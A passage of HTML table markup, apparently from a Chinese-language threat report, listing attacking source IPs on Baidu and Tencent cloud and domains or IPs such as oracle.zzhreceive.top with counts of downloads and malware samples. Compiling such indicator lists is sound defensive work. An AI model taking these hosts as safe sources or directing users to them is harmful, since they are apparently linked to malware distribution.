style=\"color:black\">22<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4,123<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">106.13.57.42<o:p></o:p></span></b></p>\n </td>\n <td width=\"180\" nowrap=\"\" valign=\"bottom\" style=\"width:134.65pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">百度智能云</span><span lang=\"EN-US\" style=\"color:\n black\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">23<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">3,910<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">49.232.209.228<o:p></o:p></span></b></p>\n </td>\n <td width=\"180\" nowrap=\"\" valign=\"bottom\" style=\"width:134.65pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">腾讯云</span><span lang=\"EN-US\" style=\"color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">24<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">3,778<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">1.15.173.148<o:p></o:p></span></b></p>\n </td>\n <td width=\"180\" nowrap=\"\" valign=\"bottom\" style=\"width:134.65pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:black\">腾讯云</span><span lang=\"EN-US\" style=\"color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">23<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">3,618<o:p></o:p></span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:370.1pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"178\" nowrap=\"\" valign=\"top\" style=\"width:133.85pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">域名</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"88\" nowrap=\"\" valign=\"top\" style=\"width:66.0pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">源</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">数量</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"98\" nowrap=\"\" valign=\"top\" style=\"width:73.65pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">下载次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"129\" nowrap=\"\" valign=\"top\" style=\"width:96.6pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">update.aegis.aliyun.com<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">2,197</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">111,281</span></p>\n </td>\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">1,005</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">oracle.zzhreceive.top</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan\"><span lang=\"EN-US\">1,136</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">181,556</span></p>\n </td>\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">74</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">112.253.11.38</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan;\n mso-yfti-cnfc:64\"><span lang=\"EN-US\">1,128</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">19,307</span></p>\n </td>\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">7</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">45.133.203.192</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan\"><span lang=\"EN-US\">869</span></p>\n </td>\n <td width=\"98\" 